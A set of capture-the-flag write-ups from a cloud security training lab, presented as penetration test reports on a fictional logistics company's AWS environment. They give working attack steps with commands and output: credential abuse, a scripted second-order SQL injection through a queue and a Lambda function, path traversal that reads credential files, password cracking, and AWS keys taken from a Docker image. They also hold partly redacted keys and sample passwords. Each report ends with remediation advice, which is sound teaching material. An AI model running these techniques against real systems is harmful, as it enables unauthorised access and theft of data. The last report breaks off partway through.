AWS Cloud Penetration Test Reports

Reports written for the following CTFs from pwnedlabs

- **Leverage Insecure Storage and Backups for Profit**
- **SQS and Lambda SQL Injection**
- **Exploit Weak Bucket Policies for Privileged Access**

- **Path Traversal to AWS credentials to S3**
- **Uncover Secrets in CodeCommit and Docker**
- **Access Secrets with S3 Bucket Versioning**
- **Assume Privileged Role with External ID**

AWS Cloud Penetration Test: Huge Logistics Infrastructure Assessment

Executive Summary

This report documents a simulated penetration test against Huge Logistics' AWS infrastructure, beginning from discovered AWS credentials on a compromised IT workstation. The exercise aimed to determine the potential extent of exposure by identifying accessible sensitive data and critical resources.

Initial Access Vector

During an assessment of Huge Logistics' infrastructure, our team discovered AWS credentials on a compromised IT workstation. These credentials provided the starting point for our cloud infrastructure penetration testing.

Permission Analysis

The initial discovery provided us with credentials having the following IAM policy attached:

```
{
    "Statement": [
        {
            "Action": "ec2:DescribeInstances",
            "Effect": "Allow",
            "Resource": "*",
            "Sid": "VisualEditor0"
        },
        {
            "Action": "ec2:GetPasswordData",
            "Effect": "Allow",
            "Resource": "arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5",
            "Sid": "VisualEditor1"
        },
        {
            "Action": [
                "iam:GetPolicyVersion",
                "iam:GetPolicy",
                "iam:GetUserPolicy",
                "iam:ListAttachedUserPolicies",
                "s3:GetBucketPolicy"
            ],
            "Effect": "Allow",
            "Resource": [
                "arn:aws:iam::427648302155:user/contractor",
                "arn:aws:iam::427648302155:policy/Policy",
                "arn:aws:s3:::hl-it-admin"
            ],
            "Sid": "VisualEditor2"
        }
    ],
    "Version": "2012-10-17"
}
```

Analysis of Available Permissions

1. **EC2 Instance Enumeration** (`ec2:DescribeInstances`)
    - Ability to list all EC2 instances in the account
    - Significant reconnaissance value for identifying potential targets
2. **Windows Password Retrieval** (`ec2:GetPasswordData`)
    - Limited to a specific instance: `i-04cc1c2c7ec1af1b5` in `us-east-1`
    - Can retrieve Windows administrator credentials if we have the associated key

3. **IAM Read-Only Access**
   - Limited to the contractor user and the attached policy
   - Provides visibility into identity management configurations
4. **S3 Bucket Policy Access**
   - Can read the bucket policy for `hl-it-admin`
   - No direct file access unless the bucket policy allows it

Reconnaissance Phase

Our first step was to enumerate all running EC2 instances using the permissions available:

```
aws ec2 describe-instances --region us-east-1 --profile init --filters Name=instance-state-name,Values=running
```

This revealed two running instances:

Windows Instance - "Backup"

- **Instance ID:** `i-04cc1c2c7ec1af1b5`
- **Public IP:** `54.226.75.125`
- **Private IP:** `172.31.93.149`
- **DNS:** `ec2-54-226-75-125.compute-1.amazonaws.com`
- **AMI ID:** `ami-0ae60b1f2a289b01e`
- **Key Pair:** `it-admin`
- **Platform:** Windows
- **Launch Time:** `2025-03-24T19:47:34+00:00`
- **Instance Type:** `t2.micro`
- **Availability Zone:** `us-east-1b`

Linux Instance - "External"

- **Instance ID:** `i-04a13bebeb74c8ac9`
- **Public IP:** `52.0.51.234`
- **Private IP:** `172.31.84.235`
- **DNS:** `ec2-52-0-51-234.compute-1.amazonaws.com`
- **AMI ID:** `ami-053b0d53c279acc90`
- **Key Pair:** `ian-content-static-5`
- **Platform:** Linux/UNIX
- **Launch Time:** `2023-07-31T14:57:51+00:00`
- **Instance Type:** `t2.micro`
- **Availability Zone:** `us-east-1b`

S3 Bucket Access Assessment

With the discovered permissions including `s3:GetBucketPolicy` for the bucket `hl-it-admin`, we examined the bucket policy to identify potential access paths:

```
aws s3api get-bucket-policy --bucket hl-it-admin --profile init
```

Response:

```
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::427648302155:u
}
```

This revealed that our user had specific rights to access a file containing SSH keys. We downloaded this file for further analysis:

```
aws s3api get-object --bucket hl-it-admin --key ssh_keys/ssh_keys_backup.zip ssh_keys_backup.zip --profile init
```

Windows Administrator Access

Using our permission to retrieve the Windows instance password and the SSH keys from the previous step, we obtained the administrator credentials:

```
aws ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key it-admin.pem --profile init --region us-east-1
```

Response:

```
{
    "InstanceId": "i-04cc1c2c7ec1af1b5",
    "Timestamp": "2024-12-01T07:51:43+00:00",
    "PasswordData": "UZ$abRnO!bPj@KQk%BSXXXXXXXXXX"  # Password partially redacted
}
```

Remote Access to Windows Instance

Initial attempts to connect using Evil-WinRM were unsuccessful due to restricted PowerShell commands:

```
evil-winrm -i 54.226.75.125 -u Administrator -p 'UZ$abRnO!bPj@KQk%BSXXXXXXXXXX'
```

Error:

```
The term 'Invoke-Expression' is not recognized as the name of a cmdlet
```

This suggested the presence of Just Enough Administration (JEA) restrictions on the Windows instance.

PowerShell Session Connection

After configuring a proper PowerShell environment, we successfully established a remote session:

```
$password = convertto-securestring -AsPlainText -Force -String 'UZ$abRnO!bPj@KQk%BSXXXXXXXXXX'
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "Administrator",$password

Enable-PSRemoting -SkipNetworkProfileCheck
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "54.226.75.125" -Concatenate

Enter-PSSession -ComputerName 54.226.75.125 -Credential $credential
```

Once connected, we discovered that the PowerShell session was highly restricted:

```
[54.226.75.125]: PS>Get-command
```

The output showed limited command availability, indicating a restricted shell environment designed to limit the attack surface.

Privilege Escalation via AWS Credential Discovery

Despite the command restrictions, we were able to navigate the file system and discovered stored AWS credentials:

```
[54.226.75.125]: P> Get-Content C:\Users\admin\.aws\credentials
[default]
aws_access_key_id = AKIAWHEOTHRFT5Q4XXXXX
aws_secret_access_key = KazdtCee+N+ZbiVMpLMs4NcDNTGtwZJNd5+XXXXX
```

These credentials belonged to a more privileged user, as verified with:

```
aws sts get-caller-identity --profile sec
```

Response:

```
{
    "UserId": "AIDAWHEOTHRFWB4TQKI2X",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/it-admin"
}
```

Data Exfiltration

With the elevated privileges of the `it-admin` user, we were able to access additional S3 resources:

```
aws s3 ls hl-it-admin --recursive
```

And successfully retrieve sensitive data:

```
aws s3 cp s3://hl-it-admin/flag.txt . --profile sec
```

Conclusion

This penetration test demonstrated a classic privilege escalation path in AWS environments. Starting with limited permissions, we were able to:

1. Enumerate infrastructure components
2. Access a Windows instance with administrator privileges
3. Discover additional credentials with elevated permissions
4. Access and exfiltrate sensitive data This highlights the importance of proper credential management, implementing the principle of least privilege, and the need for comprehensive monitoring of cloud resources. Organizations should regularly audit their AWS environments for similar vulnerabilities and implement robust security controls to prevent unauthorized access and privilege escalation.

Recommendations

1. Implement stronger access controls and JEA configurations
2. Avoid storing AWS credentials on instances
3. Implement proper secret management solutions
4. Configure CloudTrail and CloudWatch alerts for suspicious activities
5. Apply IAM best practices including the principle of least privilege
6. Consider implementing AWS managed security services such as GuardDuty

AWS Cloud Security: Exploiting Hardcoded Credentials in a Red Team Engagement

Introduction

During a recent red team engagement, I discovered hardcoded AWS credentials in a target environment. This write-up details how I was able to leverage these credentials to identify vulnerable infrastructure and ultimately access sensitive data. The scenario represents a common security issue in cloud environments where credentials are improperly managed, highlighting the importance of secure credential handling practices.

Initial Discovery

Discovered AWS Credentials

```
#### AWS credentials
##### Region: eu-north-1
##### Access key ID: AKIATWVWNKAVFMBHTHOR
##### Secret access key: xkyuDW2oXX/knwb/eRi9ng07e*******
```

These credentials, along with references to the EU-North-1 region, presented an opportunity to explore what cloud infrastructure might be accessible.

Reconnaissance

Initial enumeration of the AWS environment was performed using a custom AWS enumeration tool:

```
./aws-enumerator enum -services all
```

```
./aws-enumerator dump -services all
```

Analysis of the environment revealed the following permissions were available to the compromised account:

```
Permissions
```

```
GetSessionToken
GetCallerIdentity
ListQueues
ListFunctions
```

Exploring Available Services

SQS Queue Exploration

First, I listed available Simple Queue Service (SQS) queues:

```
aws sqs list-queues --profile init
{
    "QueueUrls": [
        "https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics"
    ]
}
```

This revealed a queue named "huge-analytics." Next, I fetched a message from this queue:

```
aws sqs receive-message --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --max-number-of-messages 1 --pro
{
    "Messages": [
        {
            "MessageId": "be26d5e6-6e41-4b4f-a8fa-58bf4fb4690c",
            "ReceiptHandle": "AQEBn3QgqSX7uKfU1c4nU/DXMK3jfaDQmI1K0ShPGDWIrbSLSHTVv8UhR6kPqq8QoybK8YKyWnKw69QFOpWjP81BjP8kG7xTaOlckDc
            "MD5OfBody": "529a3139246b9129362ff7e75143e5bf",
            "Body": "EY shipped package of 41kg"
        }
    ]
}
```

Lambda Function Discovery

I proceeded to enumerate Lambda functions:

```
aws lambda list-functions --profile init

{
    "Functions": [
        {
            "FunctionName": "huge-logistics-stock",
            "FunctionArn": "arn:aws:lambda:eu-north-1:254859366442:function:huge-logistics-stock",
            "Runtime": "python3.11",
            "Role": "arn:aws:iam::254859366442:role/service-role/huge-lambda-analytics-role-ewljs6ls",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 104874,
            "Description": "",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2023-09-20T11:26:12.000+0000",
            "CodeSha256": "FkcaVsjbU9YqnNKIPWBqAu76S9bST/bfljnSuDoU4Y0=",
            "Version": "$LATEST",
            "VpcConfig": {
                "SubnetIds": [],
                "SecurityGroupIds": [],
                "VpcId": "",
                "Ipv6AllowedForDualStack": false
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "dcbd95eb-b673-40dc-9bc0-2ce35d1edd0c",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/huge-logistics-stock"
            }
        }
    ]
}
```

When attempting to access the function configuration, I encountered permission restrictions:

```
aws lambda get-function-configuration --function-name huge-logistics-stock --query 'Environment.Variables' --profile init

An error occurred (AccessDeniedException) when calling the GetFunctionConfiguration operation: User: arn:aws:iam::254859366442:user/
```

However, I discovered that invocation of the Lambda function was permitted:

```
aws lambda invoke --function-name huge-logistics-stock --payload '{}' output.json --profile init
```

```
{"statusCode": 200, "body": "\"Invalid event parameter!\""}
```

Exploiting Lambda Function Behavior

Parameter Discovery

To identify the expected parameters for the Lambda function, I created a script to brute force potential parameter names:

bash

```
#!/bin/bash

i=0

for word in $(cat burp-parameter-names.txt); do
  cmd=$(aws lambda invoke --function-name huge-logistics-stock --payload "{\"$word\":\"test\"}" output);
  ((i=i+1))
  echo "Try $i: $word"
  if grep -q "Invalid event parameter" output;
  then
        rm output;
  else
        cat output; echo -e "\nFound parameter: $word" && break;
  fi;
done
```

This script revealed that the Lambda function was expecting a parameter named `DESC`.

Message Attribute Exploration

By reading more messages from the SQS queue, I discovered additional information about message structure:

```
aws sqs receive-message --queue-url https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics --message-attribute-names All -
```

Important attributes included:

```
"trackingID": {
    "StringValue": "HLT5626",
    "DataType": "String"
}
```

Messages contained data for various clients including "VELUS CORP.", "Google inc.", and "Adidas".

Testing Message Injection

I tested sending a custom message to the queue:

```
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight"
```

And then invoking the Lambda function with the associated tracking ID:

```
aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output
```

For AWS CLI v2, the command needed to be modified to handle base64 encoding:

```
aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT5626\"}" --cli-binary-format raw-in-base64-out outpu
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
```

SQL Injection Discovery

To test for potential SQL injection vulnerabilities, I sent a message with a double quote character in a client name:

```
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight"
```

Then invoked the Lambda function:

```
aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output
```

The output file contained the text `"DB error"`, indicating a potential SQL injection vulnerability.

Second-Order SQL Injection Exploitation

Understanding the Architecture

Based on the findings, I identified a second-order SQL injection vulnerability in the system architecture:

1. Messages are sent to an SQS queue
2. The Lambda function processes these messages
3. Data from the messages is used in SQL queries without proper sanitization

Automation Script

I created a script to automate the SQL injection process:

bash

```
#!/bin/bash

output=default

while [ -n "$output" ]; do

    output=""

    aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes "{ \"We

    aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output &> /dev/null
    output=$(cat output | grep "Invalid")

    if [[ $output == "" ]]; then
        cat output
        echo ""
    fi
done
```

Discovering Database Schema

First, I needed to determine the number of columns in the database table:

```
bash lambda_sqli.sh "SELECT null, @@version;-- -"
bash lambda_sqli.sh "UNION SELECT null, @@version;-- -"
bash lambda_sqli.sh "UNION SELECT null, null, @@version;-- -"
bash lambda_sqli.sh "UNION SELECT null, null, null, @@version;-- -"
```

The fourth attempt was successful, revealing:

1. The table has four columns
2. The database is running MySQL version 8.0.33
3. The fourth column is injectable and displays output in the `delivered` attribute

Improved Exploitation Script

I enhanced the script to better filter and display the SQL injection results:

bash

```
#!/bin/bash

output=default

while [ -n "$output" ]; do

    output=""

    aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes "{ \"We

    aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output &> /dev/null

    output=$(cat output | grep "Invalid")

    if [[ $output == "" ]]; then
        cat output | sed 's/delivered/\n/g' | awk -F"\"" '{ print $3 }' | grep -v "^:" | grep -v '^0' | sed '/^$/d'
    fi

done
```

Extracting Database Information

I enumerated the database tables:

```
bash lambda_sqli.sh "UNION SELECT null, null, null, table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema NOT IN ('informatio
```

This revealed two interesting tables: `TrackingData` and `customerData`

Next, I enumerated the columns in the `customerData` table:

```
bash lambda_sqli.sh "UNION SELECT null, null, null, column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'customerData'-- 
```

The columns discovered were: `clientName`, `address`, and `cardUsed`

Data Exfiltration

Finally, I extracted sensitive customer data including credit card information:

```
bash lambda_sqli.sh "UNION SELECT null, null, null, CONCAT(clientName,':',address,':',cardUsed) FROM customerData-- -"
```

Conclusion

This red team engagement revealed several critical security issues:

1. Hardcoded AWS credentials providing access to cloud infrastructure
2. Inadequate permission controls allowing Lambda function invocation

3. Second-order SQL injection vulnerability in the Lambda function
4. Exposure of sensitive customer data including credit card information

These findings demonstrate the importance of secure credential management, proper input validation, and the principle of least privilege in cloud environments. Organizations should implement security controls such as AWS Secrets Manager for credential management, proper input sanitization for database queries, and fine-grained IAM permissions to prevent similar vulnerabilities.

The engagement also highlights how chaining multiple vulnerabilities can lead to significant security breaches, emphasizing the need for comprehensive security testing and proper security controls in cloud-based applications.

AWS Cloud Penetration Testing: A Red Team Case Study

Introduction

During a recent red team engagement for Huge Logistics, we discovered an exposed IP address (`13.43.144.61`) and hardcoded AWS credentials within their shipping application code. Our objective was to determine the extent of access possible with these credentials and demonstrate potential impact by accessing sensitive data. This post walks through our methodology, findings, and recommendations for improving cloud security posture.

Initial Reconnaissance

Found AWS Credentials

```
Access key ID: AKIA3NRSK2PTAS47QEQT
Secret access key: WnMiEke9GC7RHVKvZk4m**********
```

Target Information

The discovered IP address resolved to:

```
13.43.144.61 == ec2-13-43-144-61.eu-west-2.compute.amazonaws.com
```

Located in AWS region: `eu-west-2` (London)

Permission Enumeration

First, I used `aws-enumerator` to determine what permissions were available with the discovered credentials:

```
./aws-enumerator enum -services all
```

```
./aws-enumerator dump -services all
```

Results showed minimal permissions:

```
GetCallerIdentity
GetSessionToken
DescribeEndpoints
```

This limited set of API permissions suggested that a direct cloud-based attack might be challenging. However, these credentials could still be valuable when combined with other attack vectors.

Network Reconnaissance

Next, I performed a network scan against the discovered IP address:

```
nmap -Pn -sC -sV --top-ports=1000 13.43.144.61
```

The scan revealed:

```
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Huge Logistics &gt; Home
|_http-cors: HEAD GET POST PUT DELETE PATCH
```

A Node.js Express application was running on port 3000. The CORS configuration allowing multiple HTTP methods could potentially introduce security risks if not properly configured.

Web Application Enumeration

To explore the web application further, I ran a directory scan:

```
dirsearch -u http://13.43.144.61:3000/
```

This revealed two interesting endpoints:

1. Admin CRM system login page: `http://13.43.144.61:3000/crm/`
2. Shipment registration page: `http://13.43.144.61:3000/register`

S3 Bucket Discovery

While examining the web application's HTML source code, I discovered a reference to an S3 bucket:

```
https://hugelogistics-data.s3.eu-west-2.amazonaws.com/truck.png
```

This indicated the presence of the `hugelogistics-data` S3 bucket in the eu-west-2 region, potentially containing sensitive data.

S3 Bucket Access Testing

I attempted to list the bucket contents with the discovered credentials:

```
aws s3 ls s3://hugelogistics-data --profile init
```

This resulted in an access denied error:

```
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: User: arn:aws:iam::785010840550:user/test is not authoriz
```

Next, I tried to examine the bucket's access control list:

```
aws s3api get-bucket-acl --bucket hugelogistics-data
```

This also resulted in an access denied error.

I then checked if we could view the bucket policy:

```
aws s3api get-bucket-policy --bucket hugelogistics-data
```

Success! The bucket policy was readable:

```
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"PublicReadForAuthenticatedUsersForObject\",\"Effect\":\"Allow\",
}
```

Key Finding: Policy Misconfiguration

The bucket policy revealed that:

1. Anyone with AWS credentials could access `backup.xlsx` and `background.png`
2. Anyone could read the bucket policy itself This overly permissive policy configuration is a significant security risk. The policy disclosed the existence of a potentially sensitive file (`backup.xlsx`) that could contain valuable data.

Data Exfiltration

I downloaded the discovered Excel file:

```
aws s3 cp s3://hugelogistics-data/backup.xlsx . --profile init
```

The file was password protected. To crack the encryption:

```
office2john ./backup.xlsx > hash5512.txt
```

After formatting the hash output to start with `$office$*2013*`, I used hashcat to crack the password:

```
hashcat -m 9600 hash5512.txt /usr/share/wordlists/rockyou.txt
```

Result:

```
$office$*2013*100000*256*16*5e8372cf384ae36827c769ef177230fc*c7367d060cc4cab8d01d887a992fbe2b*a997b2bfbbf996e1b76b1d4f070dc9214db97c
```

Credential Discovery

The Excel file contained a treasure trove of credentials for various systems:

```
admin@huge-logistics.com        5w8=U5taN]V7    WebCRM
michelle@huge-logistics.com     {&6Um-aC5@9     HR portal
mflear  Michelle123!    Email
mflear  Password01!     Cisco VPN
admin   Admin1234       Redshift
michellef       HugeLogistics2023       ADP
michellef       DataEngineer123 Azure
michelle@huge-logistics.com     MichelleFleur!  Slack
mflear  12345678ABC!    Harvest
michellef       Password01!     SharePoint
michelle@huge-logistics.com     Welcome01!      JIRA
admin   admin   MongoDB Atlas
```

Accessing the CRM

With the admin credentials in hand, I accessed the CRM system:

```
http://13.43.144.61:3000/crm/
```

Then I navigated to the invoices section:

```
http://13.43.144.61:3000/invoices
```

Inspecting the page's HTML source, I found a script tag containing client information, including the capture flag and sensitive customer data:

```
"id": "8269482c-793a-481c-92a4-c04871da0ece",
"name": "Jimmy.Beahan",
"email": "Jimmy.Beahan@hotmail.com",
"creditCard": {
  "number": "476576634339617",
  "expiry": "10/2023",
  "ccv": "297"
},
"Flag": "db7b876d88b1105b23164b6434b00f34"
```

Security Recommendations

Several critical security issues were identified during this engagement:

1. **Overly Permissive S3 Bucket Policies**: The bucket policy allowed any authenticated AWS user to access certain files. Policies should follow the principle of least privilege.
2. **Weak Password Security**: The password protecting the Excel file was in a common wordlist and easily cracked.
3. **Credential Management**: Storing login details in a spreadsheet is highly risky. Organizations should implement a proper password management solution like LastPass, Dashlane, or AWS Secrets Manager.
4. **Unencrypted Sensitive Data**: Customer credit card details were stored in plaintext in the application, violating PCI DSS requirements.
5. **Lack of MFA**: For public-facing websites, Multi-Factor Authentication should be enabled for all users, especially administrative accounts.
6. **Code Security**: AWS credentials should never be hardcoded in application code.

7. **Regular Security Assessments**: Regular penetration testing and security assessments can help identify and remediate such vulnerabilities before malicious actors can exploit them.

By addressing these issues, Huge Logistics can significantly improve its security posture and better protect its sensitive data and infrastructure from potential breaches.

Conclusion

This penetration test demonstrates how a seemingly small issue (hardcoded AWS credentials) can lead to a complete compromise of an organization's data. Cloud security requires a comprehensive approach that addresses authentication, authorization, data protection, and regular security testing.

The combination of cloud misconfiguration, weak passwords, and improper credential storage created a perfect storm that allowed complete access to sensitive customer data, including financial information. Organizations must implement proper security controls across their entire infrastructure to prevent such breaches.

Huge Logistics: AWS Cloud Security Assessment

The Engagement

As part of a security assessment for Huge Logistics, our team was tasked with scrutinizing their external defenses. The client provided an IP address (13.50.73.5) leading to their invoicing portal, with instructions to:

1. Test the website's security vulnerabilities
2. Examine any connected cloud infrastructure
3. Document potential attack vectors and consequences

This report outlines our findings, which revealed concerning path traversal vulnerabilities and exposed AWS credentials, ultimately leading to unauthorized access to sensitive cloud resources.

Initial Reconnaissance

During our initial assessment, we identified a reference to an AWS S3 bucket in the website's source:

```
https://huge-logistics-bucket.s3.eu-north-1.amazonaws.com/static/js/jquery.min.js
```

The web application on port 80 allowed account creation and login functionality. After authentication, we discovered an interesting endpoint:

```
http://13.50.73.5/download?file=
```

Testing this endpoint returned the following error:

```
{
  "error": {
    "message": [
      "21",
      "Is a directory"
    ],
    "type": "IsADirectoryError"
  }
}
```

Exploiting Path Traversal

The error message suggested a potential path traversal vulnerability. We attempted to access system files by manipulating the file parameter:

```
http://13.50.73.5/download?file=../../../../../../../../../etc/passwd
```

This successfully returned the system's passwd file, confirming our suspicions:

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
...
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
ec2-instance-connect:x:993:993::/home/ec2-instance-connect:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash
nedf:x:1001:1001::/home/nedf:/bin/bash
```

Privilege Escalation via AWS Credentials

With access to the file system, we began investigating user directories. First, we checked for SSH credentials in the ec2-user home directory:

```
http://13.50.73.5/download?file=../../../../../../../../../../../home/ec2-user/.ssh
```

```
{"error":{"message":["2","No such file or directory"],"type":"FileNotFoundError"}}
```

We then pivoted to the "nedf" user we discovered in the passwd file, checking for AWS configuration files:

```
http://13.50.73.5/download?file=../../../../../../../../../../../home/nedf/.aws
```

This confirmed the existence of a .aws directory. We proceeded to check for credentials:

```
http://13.50.73.5/download?file=../../../../../../../../../../../home/nedf/.aws/credentials
```

This request exposed AWS credentials:

```
aws_access_key_id = AKIATWVW***********
aws_secret_access_key = EuEQvgS68S****************
```

AWS Account Compromise

Using the discovered credentials, we verified access by checking the identity:

```
aws sts get-caller-identity --profile init
{
    "UserId": "AIDATWVWNKAVDYBJBNBFC",
    "Account": "254859366442",
    "Arn": "arn:aws:iam::254859366442:user/nedf"
}
```

With confirmed access, we enumerated S3 buckets and discovered sensitive data:

```
aws s3 ls s3://huge-logistics-bucket --profile init
                           PRE static/
2023-06-28 19:21:50         32 flag.txt

aws s3 cp s3://huge-logistics-bucket/flag.txt . --profile init
download: s3://huge-logistics-bucket/flag.txt to ./flag.txt
```

Root Cause Analysis

The vulnerability stemmed from an insecure implementation of the download function in the web application:

```
@web.route('/download', methods=['GET'])
def download():
    file = request.args.get('file')
    if session.get('isLoggedIn') and session.get('name').strip():
        return send_file('/web/app/exports/' + file)
    return redirect('/login')
```

Key issues with this implementation:

1. No input sanitization or validation
2. Direct concatenation of user input to file paths
3. Using `send_file()` instead of the more secure `send_from_directory()`
4. No restrictions on file types or paths Additionally, we discovered that uWSGI was running as root, which is an unnecessary security risk according to Flask documentation.

Remediation Recommendations

1. **Fix Path Traversal Vulnerability:**

- Implement proper input validation and sanitization
- Use `send_from_directory()` instead of `send_file()`
- Restrict file access to specific directories and file types

2. **AWS Security Improvements:**
    - Revoke the compromised IAM credentials immediately
    - Implement temporary credentials with proper expiration
    - Apply the principle of least privilege to all IAM users
3. **Web Server Configuration:**
    - Avoid running uWSGI as root
    - Set up a reverse proxy (nginx or Apache) in front of uWSGI
    - Configure proper file system permissions

Conclusion

This security assessment identified critical vulnerabilities in Huge Logistics' web application and AWS configuration. The path traversal vulnerability allowed access to system files, which led to the discovery of AWS credentials and ultimately access to sensitive data in S3 buckets. These findings highlight the importance of proper input validation, secure coding practices, and cloud security configurations. By implementing the recommended remediation steps, Huge Logistics can significantly improve their security posture and protect their infrastructure from similar attacks in the future.

Security Assessment: Discovering AWS Credentials in Public Docker Images

Introduction

Recently, I conducted a security assessment for Huge Logistics who wanted me to evaluate their public repositories for potentially exposed credentials or sensitive information. The objective was to determine if an attacker could gain access to their cloud infrastructure through publicly available resources and move laterally to demonstrate security impact. This blog post documents my findings, methodology, and recommendations to help other organizations avoid similar security pitfalls.

Background: Container Security Concerns

Containerization has become fundamental for interconnected services, with Docker being the leading platform in this space. With over 9 million images available on Docker Hub, security risks are significant. A notable study (https://arxiv.org/pdf/2307.03958.pdf) from RWTH Aachen University examined 337,171 Docker Hub images and 8,076 private repository images, finding that over 8% contained confidential data, including 52,107 private keys and 3,158 API secrets. Of these API secrets, 2,920 belonged to cloud providers, with 1,213 specifically for AWS APIs.

Initial Reconnaissance

I began by searching Docker Hub for any images related to Huge Logistics:

```
└─$ docker search hljose/huge-logistics-terraform-runner
NAME                                    DESCRIPTION                                     STARS     OFFICIAL
hljose/huge-logistics-terraform-runner  Huge Logistics Terraform Runner
hashicorp/terraform                     Automatic builds of Terraform. See
```

To get information about available tags, I installed `jq` and queried the Docker Hub API:

```
curl https://hub.docker.com/v2/repositories/hljose/huge-logistics-terraform-runner/tags | jq
```

The response showed a single tag available:

```
{
  "count": 1,
  "next": null,
  "previous": null,
  "results": [
      "last_updater_username": "hljose",
      "name": "0.12",
      "repository": 20534833,
      "full_size": 53176705,
      "v2": true,
    }
  ]
}
```

Downloading and Analyzing the Image

I pulled the image to my analysis environment:

```
docker pull hljose/huge-logistics-terraform-runner:0.12
```

Image Vulnerability Assessment

I installed Docker Scout to get more information about the image, including its distribution and vulnerability status:

```
curl -fsSL https://raw.githubusercontent.com/docker/scout-cli/main/install.sh -o install-scout.sh
sh install-scout.sh
```

The `docker scout quickview` command revealed that the base image was Alpine Linux. Alpine is popular for containers because its minimal installation is under 5MB, resulting in faster build times, quicker distribution, and reduced storage requirements. I then scanned for vulnerabilities:

```
docker scout cves hljose/huge-logistics-terraform-runner:0.12
```

The scan revealed several critical vulnerabilities:

```
    ✗ CRITICAL CVE-2025-0665
      https://scout.docker.com/v/CVE-2025-0665
      Affected range : <8.12.0-r0
      Fixed version  : 8.12.0-r0

    ✗ CRITICAL CVE-2023-38545
      https://scout.docker.com/v/CVE-2023-38545
      Affected range : <8.4.0-r0
      Fixed version  : 8.4.0-r0

    ✗ CRITICAL CVE-2024-45492
      https://scout.docker.com/v/CVE-2024-45492
      Affected range : <2.6.3-r0
      Fixed version  : 2.6.3-r0

    ✗ CRITICAL CVE-2024-45491
      https://scout.docker.com/v/CVE-2024-45491
      Affected range : <2.6.3-r0
      Fixed version  : 2.6.3-r0

    ✗ CRITICAL CVE-2024-5535
      https://scout.docker.com/v/CVE-2024-5535
      Affected range : <3.1.6-r0
      Fixed version  : 3.1.6-r0

    ✗ CRITICAL CVE-2024-32002
      https://scout.docker.com/v/CVE-2024-32002
      Affected range : <2.40.3-r0
      Fixed version  : 2.40.3-r0
```

Discovering Exposed Credentials

I launched a container from the image to explore its contents:

```
docker run -i -t hljose/huge-logistics-terraform-runner:0.12 /bin/bash
```

One of the first steps in a container security assessment is checking for sensitive information in environment variables. Running the `env` command revealed AWS access credentials directly embedded in the container:

```
7ec80206aca9:/# env
HOSTNAME=7ec80206aca9
AWS_DEFAULT_REGION=us-east-1
PWD=/
HOME=/root
AWS_SECRET_ACCESS_KEY=iupVtWDR********fk8FaqgC1hh6Pf3Y******
TERM=xterm
SHLVL=1
AWS_ACCESS_KEY_ID=AKIA3NRSK2PTOA5KVIUF
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
```

> ***Security Note**: Injecting AWS keys directly into container images is a dangerous practice, especially for publicly accessible images. This creates significant security exposure as anyone who pulls the image can access these credentials.*

I could have also discovered these environment variables without launching the container by using:

```
docker inspect hljose/huge-logistics-terraform-runner:0.12
```

Using the Discovered Credentials

I validated the discovered credentials by checking their identity:

```
aws sts get-caller-identity --profile init
{
    "UserId": "AIDA3NRSK2PTAUXNEJTBN",
    "Account": "785010840550",
    "Arn": "arn:aws:iam::785010840550:user/prod-deploy"
}
```

This revealed that the credentials belonged to a `prod-deploy` user.

Service Enumeration

I used aws-enumerator to check which AWS services could be accessed with these credentials:

```
./aws-enumerator enum -services all
```

```
Message:  Successful CODECOMMIT: 1 / 2
Message:  Successful DYNAMODB: 1 / 5
Message:  Successful STS: 2 / 2
```

Accessing Internal Source Code

With access to CodeCommit, I could now view the organization's source code repositories:

```
aws codecommit list-repositories --profile init
{
    "repositories": [
        {
            "repositoryName": "vessel-tracking",
            "repositoryId": "beb7df6c-e3a2-4094-8fc5-44451afc38d3"
        }
    ]
}
```

Getting details about the repository:

```
aws codecommit get-repository --repository-name vessel-tracking
```

```
{
    "repositoryMetadata": {
        "accountId": "785010840550",
